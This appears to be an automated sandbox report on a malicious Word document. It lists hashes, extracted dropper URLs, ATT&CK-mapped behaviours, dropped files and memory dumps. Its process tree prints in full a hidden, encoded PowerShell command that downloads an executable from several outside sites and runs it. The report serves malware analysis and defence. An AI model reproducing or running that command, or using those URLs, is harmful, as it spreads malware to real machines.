d07c95e8960c8d0a4de79e97afbbb836d73b8869dda97917bce1d0fa4ef88195

Analysis

max time kernel
133s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02-12-2024 16:25

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General

Target

REP_89419812646634117.doc
Size

245KB
MD5

1d6f0e7e30c1d9e3f64b0d36e602da50
SHA1

895d6dd7f677e45e997b03cef761fc40e10b22ba
SHA256

70b4dbed87a8be890a088d70057ce44413bf3a65df5c5c15d049de0b9c47ff8d
SHA512

1d12056c0d91f07372c7575bec45a608ad21f2509331e4a5d8857ad578c6012557842835a21cbf78882f88df2a214faa7f7a10060cb37489e841b1244ca5e226
SSDEEP

6144:H0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+Bzm8tigOE+wH:H0E3dxtR/iU9mvUPBS8tigOE+w

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://amelano.net/wp-includes/css/dist/2ew/

exe.dropper

http://911concept.com/images/i6ngX5/

exe.dropper

http://ayonschools.com/UBkoqn/

exe.dropper

http://beech.org/wayne/lldo/

exe.dropper

http://firelabo.com/wp-includes/mf6f4/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2984	3608	Powershell.exe	82

Blocklisted process makes network request 8 IoCs

Processes:

Powershell.exe

flow	pid	Process
23	2984	Powershell.exe
25	2984	Powershell.exe
30	2984	Powershell.exe
33	2984	Powershell.exe
35	2984	Powershell.exe
36	2984	Powershell.exe
40	2984	Powershell.exe
43	2984	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

Powershell.exe

pid	Process
2984	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid	Process
2312	WINWORD.EXE
2312	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Powershell.exe

pid	Process
2984	Powershell.exe
2984	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2984	Powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid	Process
2312	WINWORD.EXE
2312	WINWORD.EXE
2312	WINWORD.EXE
2312	WINWORD.EXE
2312	WINWORD.EXE
2312	WINWORD.EXE
2312	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_89419812646634117.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2312

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABXAGgAaAB2AGQAeAByAGIAcQB3AGwAawBmAD0AJwBBAG8AawBqAHMAdgBuAGcAcgBsAGsAZABrACcAOwAkAEQAYQBiAHcAZwByAGwAcwBjAGIAbgB1AGQAIAA9ACAAJwAyADYANwAnADsAJABXAGkAcwBhAGwAeABuAGcAeQBtAHkAawA9ACcASABmAHIAZABhAHoAagB1AG0AYwBqAGIAcAAnADsAJABQAHEAegBvAHEAeABzAGYAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARABhAGIAdwBnAHIAbABzAGMAYgBuAHUAZAArACcALgBlAHgAZQAnADsAJABUAGgAdQBwAGEAbwBiAG4AegBuAGMAYgA9ACcARwB3AGMAZwB3AGUAZQBtAGcAZgAnADsAJABSAHQAZwBsAHAAagBiAHUAbAA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBFAFQALgBXAEUAYgBjAGwASQBFAE4AdAA7ACQAWQB6AHUAZABqAGYAbQBrAHkAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAGUAbABhAG4AbwAuAG4AZQB0AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AYwBzAHMALwBkAGkAcwB0AC8AMgBlAHcALwAqAGgAdAB0AHAAOgAvAC8AOQAxADEAYwBvAG4AYwBlAHAAdAAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBpADYAbgBnAFgANQAvACoAaAB0AHQAcAA6AC8ALwBhAHkAbwBuAHMAYwBoAG8AbwBsAHMALgBjAG8AbQAvAFUAQgBrAG8AcQBuAC8AKgBoAHQAdABwADoALwAvAGIAZQBlAGMAaAAuAG8AcgBnAC8AdwBhAHkAbgBlAC8AbABsAGQAbwAvACoAaAB0AHQAcAA6AC8ALwBmAGkAcgBlAGwAYQBiAG8ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAG0AZgA2AGYANAAvACcALgAiAFMAYABQAEwAaQB0ACIAKAAnACoAJwApADsAJABDAHcAcAByAGoAaABjAG8AZQBmAD0AJwBaAGcAZgBzAHIAcQB5AHkAZgBqAGcAZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBmAHgAdgBmAHcAdwBvAGMAeQBjAHcAdwAgAGkAbgAgACQAWQB6AHUAZABqAGYAbQBrAHkAKQB7AHQAcgB5AHsAJABSAHQAZwBsAHAAagBiAHUAbAAuACIAZABPAHcAYABOAEwAYABPAGEAZABGAGAAaQBMAEUAIgAoACQAUgBmAHgAdgBmAHcAdwBvAGMAeQBjAHcAdwAsACAAJABQAHEAegBvAHEAeABzAGYAaQApADsAJABUAGcAbgBoAGEAbwBuAHAAbQBlAHgAaQA9ACcAWQBwAGYAYQBzAGcAaABwAHkAbAB1AHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABQAHEAegBvAHEAeABzAGYAaQApAC4AIgBMAGUAYABOAEcAdABIACIAIAAtAGcAZQAgADIANQA4ADUAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAVAAiACgAJABQAHEAegBvAHEAeABzAGYAaQApADsAJABTAHEAawBrAG4AbwB3AGEAdwA9ACcASQBqAHUAYgB2AGoAbQBkAHoAcQBkACcAOwBiAHIAZQBhAGsAOwAkAEEAbwBlAGgAYgBuAGsAaABqAGoAdAA9ACcAWABxAGcAYgBvAGoAdgBjAHkAeAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABRAGsAZABlAGQAcABwAGsAeABrAHoAawBvAD0AJwBVAGkAeQBhAGEAbQBpAG0AdwB4ACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDA8E7.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ebdjwkj3.lqa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/2312-10-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-8-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-4-0x00007FFACC9F0000-0x00007FFACCA00000-memory.dmp

Filesize
64KB

Download
memory/2312-7-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-12-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-6-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-0-0x00007FFACC9F0000-0x00007FFACCA00000-memory.dmp

Filesize
64KB

Download
memory/2312-9-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-13-0x00007FFACA700000-0x00007FFACA710000-memory.dmp

Filesize
64KB

Download
memory/2312-15-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-18-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-17-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-19-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-20-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-21-0x00007FFACA700000-0x00007FFACA710000-memory.dmp

Filesize
64KB

Download
memory/2312-16-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-85-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-5-0x00007FFACC9F0000-0x00007FFACCA00000-memory.dmp

Filesize
64KB

Download
memory/2312-11-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-27-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-29-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-41-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-43-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-1-0x00007FFB0CA0D000-0x00007FFB0CA0E000-memory.dmp

Filesize
4KB

Download
memory/2312-2-0x00007FFACC9F0000-0x00007FFACCA00000-memory.dmp

Filesize
64KB

Download
memory/2312-3-0x00007FFACC9F0000-0x00007FFACCA00000-memory.dmp

Filesize
64KB

Download
memory/2312-69-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-72-0x00007FFB0CA0D000-0x00007FFB0CA0E000-memory.dmp

Filesize
4KB

Download
memory/2312-73-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-74-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-77-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-78-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-84-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2312-14-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

Filesize
2.0MB

Download
memory/2984-47-0x00000209F2BD0000-0x00000209F2BF2000-memory.dmp

Filesize
136KB

Download